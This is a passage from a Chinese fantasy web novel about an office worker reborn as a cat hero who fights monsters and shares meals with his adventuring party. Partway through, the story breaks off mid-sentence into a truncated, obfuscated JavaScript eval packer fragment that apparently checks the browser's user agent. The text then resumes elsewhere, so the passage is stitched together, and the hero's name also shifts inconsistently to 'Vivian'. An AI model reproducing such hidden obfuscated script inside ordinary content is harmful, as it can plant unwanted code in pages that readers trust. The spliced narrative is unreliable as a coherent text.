可转念一想,方绪白又不怕了:就算咒力真的让他变回人,就算变回那个要挤地铁、要加班的社畜,又怎么样呢?他已经有了想回去的“家”,有了会等他喝鸡汤的伙伴——罗文会把他的剑擦干净,说“以后换你护着我们”;西拉斯会给他打个铁碗,说“就算变人了,也别抢我的麦酒碗”;奎兰会把编好的猫毛小团子给他,说“留着,想方绪白了就看看”。就算变回人,他也能凭着八年来的“猫勇者”本事,护着他们——就像他们护着他那样。 快走出魔王城大门时,西拉斯突然停下脚步,指着盾面上的猫爪印笑:“哎,你们看,这爪印好像更亮了!比我昨天擦的还亮!”奎兰赶紧凑过去,蓝眼睁得圆圆的,木杖尖都快碰到盾面了:“真的!好像……好像有光在里面转!是方绪白挠咒眼时沾的结界光吧?”罗文也低头看了看,绿眼里泛起笑意,伸手摸了摸方绪白的头,指尖蹭到猫耳后的绒毛:“是你刚才挠咒眼时,把结界的光沾在爪印上了吧?以后这盾,也算咱们小队的‘勋章’了,比刻多少矮人符文都管用。” 方绪白晃了晃尾巴,把脸往罗文怀里又埋了埋,琥珀色瞳孔里映着魔王城废墟后的晨光——那光比写字楼的白炽灯暖多了,比雪山的月光也暖多了。 他突然想起社畜时最羡慕的生活:不用加班,有热饭吃,有地方可去。现在,他全都有了,甚至比那时想的还要好——有会骂他却护着他的西拉斯,有温柔却靠谱的罗文,有害羞却心细的奎兰,还有等着他们回去的阿婆和热鸡汤。 只是没人注意到,方绪白耳后的绒毛里,悄悄泛出一点淡金色的光,像撒了粒碎金;也没人注意到,罗文怀里那袋麦种里,除了发了芽的那粒,还有一粒沾着方绪白的猫毛,正随着罗文的脚步轻轻晃,像在跟着他们,一起往“家”的方向走,要去边陲镇的田垄里,扎下根,长出绿油油的麦芽。 而远处的边陲镇,阿婆正站在门口,手里握着汤勺,往锅里添了把柴火——柴火是西拉斯劈的,块块都规整,阿婆还念叨“这小子,劈柴倒利索,就是嘴笨”。鸡汤的香气飘出院子,顺着小路往魔王城的方向飘,混着麦饼的香、松枝的香,像在喊:“孩子们,快回来喝汤啦!鸡汤要熬好咯,鸡腿还热着呢!” 西拉斯闻着风里的香气,加快了脚步,盾都差点撞到门框:“快!阿婆的鸡汤肯定好了!再慢一步,西拉斯要把鸡腿都吃了!”奎兰笑着追上去,还不忘拉着罗文的披风:“别、别跑那么快,地滑,方绪白会摔着的!”罗文抱着方绪白,也跟着笑,脚步轻快得像踩在边陲镇的田埂上——家就在前面,热汤在等,还有什么比这更让人安心的呢? 方绪白窝在罗文怀里,眯起眼睛,尾巴轻轻晃,耳后的淡金光更亮了点,却没人看见——他只想快点到边陲镇,喝阿婆的热鸡汤,吃留给他的鸡腿,然后把那袋麦种种在铁匠铺后,等秋天结出新麦,做最香的麦饼,分给西拉斯、罗文和奎兰,还有阿婆。 20. 方绪白的绒球 晨雾裹着稻穗的清香漫过田埂时,方绪白嘴里的绒草球已吸饱了露水,毛絮黏在嘴角像没撕干净的便利贴。 这是昨天路过溪边时,奎兰蹲在草丛里挑了三分钟的“最圆绒球”,指尖捏着绒草梗转了又转,说“这颗绒毛最软,不会扎到薇薇安大人的嘴”,还特意用手帕擦了三遍才递过来。琥珀色瞳孔在微光里缩成细竖线,耳尖扫过风里的细碎动静:左侧三十步外田鼠钻洞的窸窣带着新翻泥土的腥气,右侧石缝里两只灰雀盯着罗文药箱的眼神太亮(上次奎兰的浆果干就是被这种鸟偷的,气得他蹲在树下发了半天呆),连身后西拉斯踩断枯枝的闷响里,都混着他悄悄攥紧斧头的指节摩擦声——这矮人每次紧张就会无意识抠斧柄,掌纹里还嵌着上次矿石怪的碎屑,是罗文用细针挑了半天才清理干净的。 “步频降到每秒两步,青稻村的晨露含微量土系魔力,会渗进罗文药箱的藤编缝隙,止血草遇潮会失效。”方绪白把绒草球往爪边扒了扒,用猫科特有的短促低吼传递指令。 社畜的本能早成了肌肉记忆,哪怕现在四条腿着地,睡前检查行李时还会在脑子里列清单:“罗文的止血草三捆(油纸三层包裹,避免受潮,昨晚特意放在篝火边烘了半小时)、奎兰的箭矢十二支(尾羽补了三根青雀羽,是西拉斯爬树帮他掏的鸟巢,射程提升五米)、西拉斯的斧头刃口磨损度0.3毫米(昨晚罗文用魔晶石粉末磨过,磨石还是从老马克的铁砧下翻出来的,劈砍超过五十次需二次打磨)”,连今天的路线都标了三个备选——万一遇到魔物,能最快退到青稻村的防御结界里,那结界是老村长去年用稻壳灰混着魔力画的,对影狼这类暗系魔物有克制作用。 罗文提着藤编药箱快步跟上,棕发被风掀起时,耳后淡青色的草药汁痕迹露了出来——那是昨晚帮西拉斯处理斧头划痕时沾的,是能加速伤口愈合的“凝露草”汁液,这总把“资源最优分配”挂在嘴边的罗文,把仅有的三株凝露草全给了队友,自己手上被斧刃划的小口子,只随便贴了片晒干的艾草叶。 他绿眼扫过方绪白爪子下的绒草球,语气像念工作报表:“止血草与干燥艾草分层存放,中间隔了松针防潮;迷迭香用棉纸包好防串味,棉纸是奎兰从精灵森林带出来的,吸潮性比普通纸好三倍;西拉斯的斧头刃口魔晶石粉末附着率90%,劈砍硬度达标,测试过能劈开五厘米厚的青石;奎兰的箭矢尾羽已做防水处理,晨雾里精度不会下降,刚才试射过三支,偏差不超过两指宽。” 话刚落,方绪白跳上半人高的矮墙时后爪打滑,罗文指尖悄悄抬了半寸,在猫快摔下去的瞬间虚托了一下——这位能扛着巨斧治疗全队的骑士,总把温柔藏在“已确认”“已完成”的严谨背后,上次方绪白被岩蜥甩飞时,他明明魔力只剩三成,还是硬撑着放了范围治愈,事后自己晕了半个时辰,醒来第一句问的还是“薇薇安没事吧?” “谁要你多管闲事!”西拉斯的黑脸腾地红了,粗粝的手掌把斧头攥得更紧,指节泛白像浸了冷水的石头。 可他话锋顿了顿,声音压得像蚊子叫,还故意转头看田埂上的稻穗,假装研究长势:“不过...昨天过乱石坡时,你替我挡落石那下,谢、谢了。”这矮人从前遇危险只会往队友身后缩——上次遭遇腐肉怪,他抱着头躲在奎兰后面,还喊“你们快挡住,我斧头还没磨好”,直到被矿石怪划开肋骨,罗文跪坐在血泊里给他缝伤口,手指抖得差点穿不上线,却还说“下次我护着你”,现在他战斗时总会刻意把后背往罗文那边靠,连攥斧头的手都不再只护着自己的胸口,而是悄悄往罗文身侧挪。 奎兰晃着浅金长发凑过来,蓝眼睛亮得像浸了晨露的蓝宝石,手里还捏着朵蒲公英,绒毛上沾着的露水差点滴到方绪白头上:“方绪白大人,这朵绒球和您叼的好像!不过...刚才草丛里有影子闪过,尾巴尖是黑色的,会不会是上次偷袭我们的影狼幼崽?”他说着就往方绪白身后躲,耳朵尖抖得像风吹动的蒲公英,可手指却下意识搭上了弓弦。 初遇时这精灵被魔物吓得连箭都拉不开,弓弦总在发抖,现在至少敢把箭搭在弦上,上次对付狼群时,他还主动说“我来盯梢”,虽然盯到一半被蝴蝶吸引了注意力,却也及时预警了偷袭的孤狼。 方绪白跳下矮墙时,嘴里的绒草球轻轻颠了一下,后颈的汗毛突然竖起来——危险感知像电流窜过脊背,比上次遭遇岩蜥时更急促,连尾巴尖的毛都炸成了小绒球。 “东侧五十米,三只影狼,成年体,其中一只是首领(毛色偏黑,左前腿有旧伤,上次伤过奎兰的箭羽,当时箭杆都被它咬断了)。”他弓起脊背炸毛,尾巴绷得像拉满的弦,用四肢比划着:“西拉斯,你去断后,用斧头劈地面制造震动,震松表层泥土——影狼爪子陷进泥里会减速,你记得往左侧劈,那边泥土更软;罗文,准备范围治愈光罩,浓度调到六成,重点护住奎兰的侧后方,他射箭时会下意识前倾,后腰是空当,上次就是这里被狼抓了道口子;奎兰,瞄准狼眼下方的软肉,那里是痛觉敏感点,箭尖涂你药囊里的‘麻叶草汁’,能让它僵住两秒,记得箭要斜着射,角度十五度最佳,能避开狼的头骨。” 社畜的应急方案刚在脑子里过完,最左边的影狼已经带着腥风扑来——它的左前爪少了块肉,是上次被罗文的藤条勒伤的旧伤,此刻落地时还微微跛着。 西拉斯的斧头狠狠砸在地上,石屑混着泥土飞溅起来,刚好挡住狼的视线:“来啊!我的斧头还没尝过狼肉味!”他喊得震天响,却故意往侧边挪了一步,把奎兰的后背完全挡在身后,斧刃还刻意对着狼的喉咙方向,斧柄上的防滑纹被他攥得发白,掌心里的汗都浸湿了木柄。 罗文的绿色治愈光罩及时罩住三人一猫,藤条从药箱里窜出时带着凝露草的淡香,精准缠住最左边那只狼的前腿,还往它伤口里扎了根细藤,藤尖带着微量魔力,能刺激伤口让狼更痛:“薇薇安,左边交给我,它的腿筋已被藤条勒伤,三分钟内跑不快。你去解决首领,我会用治愈术帮你抵消冲击——刚才给你留了三成魔力,别省着用,我药箱里还有魔力恢复剂。”他语气依旧平静。 可光罩的浓度比上次厚了一倍,连方绪白爪子边的草叶都被光罩的魔力催得发绿——这个总说“资源要合理分配”的骑士,悄悄把大部分魔力用在了保护队友上,自己的袖口还沾着昨晚熬药的焦痕,是不小心把药罐烧糊了,却只字未提。 奎兰的箭终于射了出去,箭尖擦过影狼首领的眼下方,带出一丝血痕——麻叶草汁立刻起效,狼的动作顿了半秒。 那只狼痛得嘶吼,转身就朝奎兰扑去,涎水滴在地上烧出小坑(影狼唾液有腐蚀性,能烧穿普通布料)。“我、我射中了!方绪白大人,这样可以吗?”奎兰的声音还在发颤,却立刻拉满第二支箭,这次瞄准的是狼的喉咙,手指甚至擦过弓弦上的旧伤(上次被狼爪划的,现在还留着浅疤),“我、我会盯着它的动作,您放心去打首领!我不会拖后腿的!”他不再只想着“别被盯上”,而是开始思考“怎么帮大家”,连耳朵尖都不再往后贴,反而微微往前竖,认真听着狼的动静。 方绪白趁机纵身跃起,猫爪里凝聚起勇者的微光,谨慎让他没把魔力全用上,只凝聚了七成(留三成以防万一,万一打不过还能带着大家跑,上次就是因为留了后手,才从岩蜥群里逃出来)。 “砰”的一声,爪子狠狠拍在影狼首领的额头上,它的头骨发出闷响,晃了晃脑袋就晕了过去——这力度是方绪白算好的,既能晕狼,又不会让爪子受伤(上次拍岩蜥太用力,爪垫肿了两天,罗文还笑他“社畜连打架都要算成本,怕影响后续‘工作’”)。 “喵!(奎兰,补箭)!”方绪白落地时低吼,奎兰的箭立刻跟上,箭尖精准射进狼的喉咙,连箭羽都没歪——这精灵的箭术其实很准,只是从前太怕出错,总觉得自己会射偏,现在终于敢放开手射了。 战斗结束时,晨雾已经散了,阳光洒在田埂上,把大家的影子拉得很长。 方绪白蹲在草叶上舔爪子,看着罗文给西拉斯包扎手臂——西拉斯的小臂被狼爪划了道血痕,深可见骨,却笑着说“这点伤不算啥,上次被矿石怪划得比这深多了,还不是三天就好了”。 罗文没说话,只是把凝露草汁涂得厚了点,还往伤口上贴了片“活血叶”,是他特意在药箱最底层藏的,据说能不留疤:“别乱动,这草药要敷十分钟,不然留疤会影响握斧力度,下次劈柴都费劲。” 奎兰蹲在旁边递草药,还把自己的水囊递过去,水囊上挂着他妈妈织的小绒球,是离开精灵森林时为数不多带走的东西:“西拉斯先生,你喝点水吧,刚才喊得那么大声,肯定渴了。这水是我早上在溪边灌的,还加了片薄荷叶,清凉的。” 西拉斯愣了愣,接过水囊时没再反驳“谁要喝你的水”,反而从口袋里摸出颗野果——是昨天他说“酸死了,难吃”却偷偷留着的甜浆果,表皮还带着点温度,塞给奎兰时还别过脸,假装看远处的稻穗:“吃、吃吧,补充体力,下次...下次你射箭时,我会帮你挡得更稳,不会让狼靠近你半分,我斧头比盾牌还管用。” 罗文走过来时,手里拿着朵干净的蒲公英绒球,绒毛上还沾着晨露,是他在田埂边挑了半天的,比方绪白嘴里的那颗圆多了。 他轻轻用指尖拂掉猫毛上的草屑,动作轻得像怕碰疼方绪白耳后的软毛,绿眼里带着笑意,不像平时那样只盯着“任务清单”:“薇薇安,你嘴里的绒草球脏了,换这个吧。青稻村快到了,老村长上次说要给我们留新收的稻米,还说要给你做小鱼干粥,还特意晒了最鲜的小鱼干,是从村东头的溪里钓的,据说肉质最嫩。” 方绪白甩了甩尾巴,叼过新的绒草球,突然觉得嘴里的毛絮都甜了点。本能还在提醒他“要确认青稻村的住宿(最好是有窗户的房间,方便观察四周动静,万一有魔物偷袭能及时预警)、要检查接下来的路线(石漠村那边有段路容易塌方,得提前准备木板,西拉斯说他能劈,就是要多费点力气)、要清点药品和箭矢(止血草剩两捆,奎兰的箭还剩九支,得让老村长帮忙补充点)”。 可心里某个角落却慢慢软下来——从前他组队只是为了“完成任务”,现在却会记得奎兰喜欢圆绒球、西拉斯爱吃甜浆果、罗文熬药时会加片薄荷,因为薄荷能提神,他总熬药熬到半夜。 远处传来青稻村村民的招呼声,老村长举着草帽朝他们挥手,衣角还沾着稻穗,是刚从田里回来:“小猫勇者和各位大人来啦!快进来喝碗热粥!熬了小米粥,还蒸了红薯,甜得很,给小猫勇者留了小鱼干,用温水泡过,不硬!” 方绪白带头往前跑,绒草球在嘴里轻轻晃着,身后传来西拉斯和奎兰的打闹声(西拉斯抢了奎兰的蒲公英,对着他的脸吹,吹得奎兰满脸绒毛)、罗文温和的叮嘱声(“别跑太快,前面有坑,上次西拉斯就摔过,还嘴硬说‘是石头绊的’”)。 危险感知突然又动了一下,这次却不是刺痛,而是带着暖意的预警——前方石漠村的方向,有熟悉的魔力波动,像是上次帮他们修补马车的铁匠大叔(他的魔力带着铁屑味,还混着点煤烟,很好认)。 方绪白放慢脚步,等身后的人跟上,琥珀色的瞳孔里映着他们的身影:西拉斯举着斧头追奎兰,奎兰抱着蒲公英跑,还不忘回头做鬼脸,罗文跟在后面,手里还提着给方绪白装小鱼干的纸包,纸包上用麻绳系着,打得是方绪白教他的“防滑结”,说这样路上不会掉。 原来所谓的“归途”,从来不是回到某个地方,而是有这些人在身边,哪怕走在满是魔物的路上,都像走在回家的巷子里——巷子里有热粥,有惦记着你的人,有吵吵闹闹却不会丢下你的伙伴。 “对了,”罗文突然开口,从药箱侧面的小口袋里拿出张皱巴巴的纸条,纸角都磨破了,是铁匠大叔上次写的,字歪歪扭扭,却很用力,“石漠村的铁匠大叔说,上次我们落在那里的盾牌,他已经修好了,还加了层铁皮,更抗打,铁皮是他用自己藏的陨铁打的,比普通铁硬三倍。还有...他说要给西拉斯打把新斧头,因为上次那把的刃口快磨平了,还问西拉斯喜欢带锯齿的还是光刃的,锯齿的适合劈树,光刃的适合劈魔物。” 西拉斯的眼睛亮得像烧红的铁块,斧头都忘了举,连脸上的伤都不疼了:“真的?那我们快点走!我早就想换把新斧头了!上次那把劈狼都费劲,刃口卷了好几次,罗文磨得都快没脾气了!”他说着就往前冲,却被罗文拽住了后领,“急什么,先喝了粥,补充体力再走,不然路上又要喊累。”西拉斯挠了挠头,嘿嘿笑了,没再反驳——换做从前,他肯定会说“喝粥哪有新斧头重要”,现在却乖乖跟着走,因为他知道罗文是为他好,空腹赶路容易胃疼。 奎兰笑着躲到方绪白身后,手里举着蒲公英,绒毛被风吹得飘了几根在猫头上:“西拉斯先生,你慢点,别又把脚崴了——上次你就是因为急着看铁匠打斧头,差点摔进泥坑,还是罗文先生拉了你一把,不然你就要变成‘泥人矮人’了。” “你小子敢笑我!看我不把你的蒲公英吹飞!”西拉斯举着斧头追过去,却故意放慢了脚步,怕步子太大吓到奎兰,还特意绕开了田埂上的小水洼——他记得奎兰的鞋子怕湿,上次踩湿了鞋,难过了半天,说“鞋子湿了会磨脚,影响射箭”。 方绪白叼着绒草球,看着他们打闹的背影,尾巴轻轻晃了晃。 风里除了稻穗的清香,还飘来石漠村方向的铁屑味——上次离开时,铁匠大叔拍着西拉斯的肩膀说“下次来给你们打新装备,保准比现在的好用”,当时西拉斯还不信,说“你别吹牛”,现在想来,那不是客套话。晨光照在田埂上,把他们的影子叠在一起,像团揉在一起的温暖绒球,软乎乎的,带着阳光的味道。 突然,后颈的毛又动了一下——这次的危险感知很淡,却带着熟悉的气息,像裹了层雪粒的风,是上次在雪山村帮过他们的雪狐。 方绪白抬头望向石漠村的方向,阳光里好像有个白色影子闪过,尾巴尖扫过草叶的动静轻得像落雪,转瞬间就没了踪迹。他晃了晃耳朵,把绒草球往嘴里含紧了点——雪狐通人性,上次他们在雪山遇雪崩,是这只狐狸引着他们找到避难点,还叼来晒干的苔藓铺在地上,怕他们冻着。现在它出现在这里,或许石漠村那边真的有情况,可方绪白看着身后追闹的三人,没把这预警说出口——先让他们喝碗热粥,吃块甜红薯,等续上力气,再一起面对也不迟。 青稻村的土屋冒着袅袅炊烟,老村长的老婆子站在院门口,手里端着个粗瓷碗,碗沿还沾着小米粒:“快进来坐!粥刚盛出来,还冒着热气呢!小猫勇者快来,小鱼干在灶上温着,我特意用小碟子装着,方便你吃!”方绪白跳上矮凳时,才发现碟子里的小鱼干被撕成了碎块,是怕他噎着——老村长记得他吞咽慢,上次就说“下次把鱼撕小点,让薇薇安吃得舒坦”。 西拉斯一屁股坐在桌边,斧头往墙角一靠,就伸手去揭蒸笼盖:“红薯熟了没?我闻着香味都快流口水了!”蒸笼里的红薯冒着热气,外皮烤得焦黑,老村长笑着递给他一块:“小心烫!这红薯是地里最后一批,甜得能拉出丝,你慢着点吃,别噎着。” 西拉斯咬了一大口,烫得直哈气,却舍不得吐,含糊不清地说“好吃,比矿坑老马克烤的还香” 老马克每次都给西拉斯留最大的红薯,现在吃到红薯,他突然想起老马克,却也能笑着说出往事。 罗文坐在方绪白旁边,从药箱里拿出个小布包,里面是晒干的薄荷叶,他往老村长的茶碗里放了两片:“村长,这薄荷能提神,您平时在田里忙,喝这个能解乏。” 老村长笑着接过茶碗:“还是罗文先生细心!上次你给我的止血草,我用它敷好了手上的裂伤,还说要给你缝个新的药箱布套呢。” 罗文的耳尖悄悄红了,低头喝了口粥,没说话——他总觉得自己做的都是该做的,却忘了这些小事,在别人心里早已记了很久。 奎兰蹲在院角,手里拿着蒲公英,正跟村里的小孩玩“吹绒球”的游戏。 小孩把蒲公英递给他,他轻轻一吹,绒毛飘了满天,小孩笑得拍手:“大哥哥吹得真好看!你是精灵吗?头发像太阳晒过的稻草,金闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗文走在最前面,手里拿着铁匠大叔写的纸条,时不时看一眼:“石漠村还有三里路,前面那片树林要注意,上次路过时,里面有野兔,现在不知道有没有魔物。” 西拉斯扛着斧头跟在后面,把布包里的红薯递给奎兰:“吃吧,垫垫肚子,到了石漠村,我请你吃铁匠大叔烤的肉干。”奎兰接过红薯,咬了一口,甜得眯起了眼睛:“西拉斯先生,你真好,比精灵森林的长老好多了。”西拉斯的脸又红了,故意转头看树林:“谁、谁对你好!我就是怕你路上饿,影响射箭!” 方绪白蹲在罗文肩头,琥珀色的瞳孔盯着前方的树林。风里的气息越来越怪,除了铁屑味和焦糊味,还多了点腥气,像影狼的味道,却比影狼的气息更浓,更危险。他的后颈汗毛又竖了起来,这次不是暖意,而是刺痛——危险就在前面的树林里,而且比上次的影狼首领更厉害。 方绪白用低吼打断了西拉斯和奎兰的打闹,尾巴绷得笔直。 前面树林里有魔物,气息很强,不是影狼,像是...矿石怪的变种,身上带着焦糊味,可能被咒力污染了。 方绪白脸色很严肃,应急方案瞬间在脑子里成型,用爪子比划着:“西拉斯,你举盾在前,把陨铁铁皮的那面朝前,;罗文,准备治愈光罩,浓度调到八成,这次的魔物可能有范围攻击;奎兰,你的箭涂满麻叶草汁,瞄准魔物的眼睛,那里是它的弱点——上次对付矿石怪时,我见过,它的眼睛没矿石保护,最容易受伤。” 西拉斯立刻握紧斧头,把盾举了起来,盾上的猫爪印在阳光下亮了亮:“放心,我这盾现在比矿坑的石门还结实,肯定能挡住!”罗文从药箱里拿出魔力恢复剂,喝了一口,魔力瞬间恢复了五成:“我准备好了,光罩随时能放。”奎兰把箭搭在弦上,手指虽然有点抖,却没往后躲:“薇薇安大人,我、我会瞄准的,不会射偏。” 方绪白跳下罗文的肩头,弓起脊背,嘴里的绒草球被他放在了地上——这次不能留后手,必须全力以赴。 他带头往树林里走,琥珀色的瞳孔在树林的阴影里亮得像灯,耳朵尖扫过每一丝动静:左边的灌木丛里有枝叶晃动,不是风吹的,是魔物在移动;右边的树干上有抓痕,很深,是矿石怪的爪子划的;前面的空地上,有块巨大的矿石,表面泛着黑红色的光,是咒力污染的颜色——魔物就在那里。 方绪白低吼一声,矿石怪突然从地上站起来,高达两米,身上的矿石像被烧红的铁块,还在往下滴着岩浆般的液体,它的眼睛是两个黑洞,里面冒着红光,看到他们,立刻发出嘶吼,朝西拉斯扑了过来。 西拉斯的盾狠狠撞在矿石怪的身上,“砰”的一声巨响,矿石怪被撞得后退了两步,盾上的陨铁铁皮发出“滋滋”的声音,把矿石怪身上的咒力烫得冒烟:“好家伙,真硬!罗文,快帮忙!”罗文的治愈光罩立刻罩住三人一猫,藤条从药箱里窜出,缠住矿石怪的腿,藤尖带着凝露草的魔力,能削弱咒力:“薇薇安,它的腿被缠住了,你趁机攻击它的眼睛!” 奎兰的箭射了出去,箭尖精准地射中矿石怪的左眼,麻叶草汁立刻起效,矿石怪的动作顿了一下,嘶吼声更大了,身上的岩浆滴得更凶,把地上的草都烧枯了:“我射中了!薇薇安大人,接下来怎么办?”方绪白纵身跃起,猫爪里凝聚起全部的魔力,比上次对付影狼首领时还强——这次不能留三成魔力了,必须一击命中。 就在方绪白的爪子快要拍到矿石怪右眼时,矿石怪突然转身,用胳膊挡住了眼睛,方绪白的爪子拍在矿石上,“咔”的一声,矿石裂开了道缝,可方绪白的爪垫也被烫得发疼,他赶紧往后跳,落在罗文身边。 罗文立刻用治愈术帮他处理爪垫:“没事吧?爪垫红了,别再用爪子攻击了,它的矿石温度太高。” 方绪白摇了摇头,盯着矿石怪,发现它的背后有块矿石是黑色的,和其他的矿石不一样,而且那里的咒力最弱——那是它的另一个弱点! 方绪白比划着“西拉斯,把它引过来,让它背对我!奎兰,射它的左腿,让它站不稳!”,西拉斯立刻照做,拿着斧头往矿石怪的左边跑,故意挑衅:“来追我啊!你这笨石头!”矿石怪果然被激怒了,转身追着西拉斯跑,后背露在了方绪白面前。 奎兰的箭射了出去,射中了矿石怪的左腿,矿石怪踉跄了一下,西拉斯趁机绕到它的右边,用斧头狠狠劈在它的右腿上,矿石裂开了道大口子。 方绪白趁机纵身跃起,这次他没用车爪,而是用嘴里叼着的绒草球——奎兰说绒球里藏着阳光的味道,魔物怕这个!他把绒草球狠狠砸在矿石怪背后的黑矿石上,绒草球瞬间炸开,金色的光像阳光一样洒在矿石怪身上,矿石怪发出凄厉的嘶吼,身上的咒力开始消散,岩浆般的液体也不再滴落。 “就是现在!”罗文的藤条突然窜出,缠住矿石怪的脖子,往它的嘴里塞了颗魔力炸弹——是他昨晚熬药时,用魔晶石粉末做的,本来是用来应急的,现在刚好派上用场。 “砰”的一声,魔力炸弹在矿石怪的嘴里炸开,矿石怪的身体开始崩裂,最后“轰隆”一声,倒在地上,变成了一堆普通的矿石。 战斗结束时,大家都累得坐在地上喘气。西拉斯的盾上又多了道深痕,却笑着说“这盾真结实,下次还能用”;罗文的魔力只剩一成,却还在帮方绪白处理爪垫;奎兰的箭只剩六支,却拿着剩下的蒲公英,给方绪白吹了个绒球:“薇薇安大人,这个新的绒球,比刚才的更圆。” 方绪白叼着新的绒球,蹲在罗文腿上,看着眼前的三人。 突然觉得,所谓的“解决不了的问题”,其实也没那么难——只要身边有这些伙伴,就算是再厉害的魔物,也能一起打败。石漠村的方向,铁屑味依旧浓,可现在,他不再担心,因为知道,他们会一起走下去,一起面对接下来的所有危险,一起回到有热粥、有红薯、有牵挂的“家”。 阳光透过树叶,洒在他们身上,像给他们镀了层金。方绪白舔了舔罗文的手,尾巴轻轻晃着,脖子上的小绒球也跟着晃,里面藏着的阳光味道,混着稻穗的清香、红薯的甜香、伙伴的笑声,成了他心里最温暖的“应急方案”——有这些,就够了。 21. 银镯之约 朔风裹着碎雪撞在边陲镇的界碑上,发出砂纸磨铁般的刺耳声响。 方绪白蹲在铁匠铺后积着薄雪的木棚顶,琥珀色瞳孔在雪光里缩成细缝,爪垫下意识抠住木板缝隙——这是他被召唤到异世界的第八年,社畜时期练出的“危险预判”本能,早从“听脚步声躲老板”变成了“闻气息辨魔兽”。 此刻脊背上的猫毛却不是因寒意竖起,而是看着不远处三人时,心底翻涌的暖意让绒毛都变得松软,连尾巴尖都忍不住轻轻晃了晃。 棕发绿眼的罗文正用短剑尖刮碑上的霜花,骑士的动作比往日慢了半拍,指节冻得发红,却仍刻意避开了碑面上两道细小划痕——那是去年对抗冰霜巨怪时,奎兰为护界碑用法杖挡攻击留下的魔法灼痕,淡青色的印记嵌在石碑里,像极了精灵森林里会发光的藤蔓。 方绪白记得罗文总这样,温和表象下藏着细到极致的心思:八年前他刚以猫的形态来到异世界时,罗文递来的烤鱼不仅去了刺,还特意烤到温热不烫嘴,连鱼皮都剥得干干净净,怕扎到他的猫舌头;上次他被黑魔法缠上,罗文明明自己手臂被腐蚀出深可见骨的伤口,却先把它裹进没沾血的披风里,披风内侧还带着骑士体温,混着淡淡的麦饼香——那是阿婆早上塞给罗文的干粮,他没舍得吃,一直揣在怀里暖着。 “刻什么?”西拉斯的声音裹着白气砸过来,矮人铁匠把铁砧上的火星敲得四溅,红发在风雪里像团烧得正旺的炭火,手里的锤子还沾着昨晚修马蹄铁的铁屑,落在雪地上融出小小的黑坑。 “总不能真把‘八年内没团灭’刻上去吧?上次亡灵峡谷,要不是薇薇安提前两柱香预警,你这骑士早成骨架标本,我还得给你打副铁棺材,刻上‘罗文之墓,死于没听猫话’!”他说着,故意用锤子敲了敲铁砧,震得旁边的雪簌簌往下掉,却在瞥见罗文手臂上的旧伤时,悄悄把锤子放轻了力道——那道伤是替他挡亡灵骨刺留下的,现在天冷,西拉斯总怕伤口会疼,每天都用暖石给罗文敷手臂。 奎兰抱着法杖缩在界碑旁的避风处,浅金发丝上沾了雪粒,像撒了把碎糖,蓝眼睛盯着碑面小声反驳:“明明是……共行八年。”精灵的声音软得像落雪,却难得没被西拉斯的大嗓门盖过去,他指尖悄悄划过法杖顶端的水晶——那里面封存着去年方绪白发烧时,他用精灵秘术凝结的暖光,当时方绪白烧得浑身发抖,奎兰守在猫窝旁,把水晶贴在它的耳朵边,暖光顺着猫毛渗进身体,他自己却冻得手指发紫,西拉斯发现时,硬把他塞进铁匠铺的火炉边,还骂他“笨精灵,自己冻成冰碴子,薇薇安好了你先病了”。 “而且薇薇安的预警很重要,上次雪狼群突袭,要是没它跳我肩上挠我脸提醒,我们早被围在山谷里了……”奎兰说着,耳尖有点发红,其实那天方绪白不仅挠了他,还把他往罗文身后拽,自己挡在最前面,猫爪上被狼咬出了血,却没叫一声,后来西拉斯用草药给它包扎时,方绪白疼得直蹬腿,却还是把脑袋往奎兰手里蹭,像在安慰他“没事”。 “知道知道,猫祖宗最厉害!”西拉斯摆摆手,却从怀里掏出个油布包,油布是阿婆缝的,边角还绣着小小的猫爪图案,打开是磨得细腻的青灰色石粉。 “喏,按你上次抓我铁砧时的爪垫大小调的,掺了点暖石末,刻字不冻爪子。”他说着,指了指方绪白的爪垫,“上次你用爪子扒矿石,裂了道口子,我就想着磨点石粉,加暖石末能护爪,不然你这猫爪子,迟早要被你折腾成破布片。” 方绪白从棚顶跳下来,踩在雪地上没发出半点声响,爪垫上的茧子早比在现世敲键盘的指节更厚——那是无数次用爪子扒拉陷阱、挠开魔兽鳞片磨出来的。 他凑到西拉斯脚边蹭了蹭,毛茸茸的尾巴扫过矮人的手背,算是道谢,却被西拉斯一把捞起来,粗粝的手掌托着他的肚子,力道却轻得像怕碰碎瓷娃娃:“别蹭!刚给你涂的药膏,蹭掉了晚上又要抱着我的铁锤取暖,上次把我锤子上的火星都蹭灭了,害我重新烧了半炉铁!”话虽凶,西拉斯却把方绪白往怀里揣了揣,用铁匠围裙裹住,围裙里还带着铁砧的余温,暖得方绪白打了个哈欠。 罗文的短剑终于在碑上刻下第一笔,石屑混着雪沫落下,声音清脆得像冰裂:“勇者小队,八年共行。” 他转头看向方绪白,绿眼里带着惯有的温柔,指尖轻轻拂过方绪白耳后的绒毛——那里还留着对抗诅咒巫师时,被黑魔法灼伤的浅痕,当时罗文用自己的骑士斗气一点点逼出咒力,手都在发抖,怕伤到方绪白;“该你了,薇薇安。”罗文说着,把短剑收进鞘里,还特意用袖口擦了擦碑面,怕雪水沾在方绪白的爪子上。 方绪白仰头看了眼灰蒙蒙的天,雪片落得更密了,像要把整个边陲镇都裹进白布里。 他想起八年前在边陲镇:西拉斯把他从狼嘴里救出来时,自己还缩在对方满是铁屑味的铁匠围裙里发抖,铁匠铺后那堆干草垛成了它第一个“猫窝”,西拉斯嘴上说着“哪来的笨猫,还敢挑战狼”,却总在干草下藏块烤热的马蹄铁,晚上方绪白冷得缩成一团时,就会把爪子搭在暖石上。 罗文在它被诅咒时守了三天三夜,骑士的铠甲总带着阳光的味道,连喂药都要先把苦涩的药汁兑在温牛奶里,怕它像在现世躲苦药似的扒拉掉,后来方绪白嫌药味重,罗文还在牛奶里加了点阿婆酿的蜂蜜,说“这样就不苦了”。 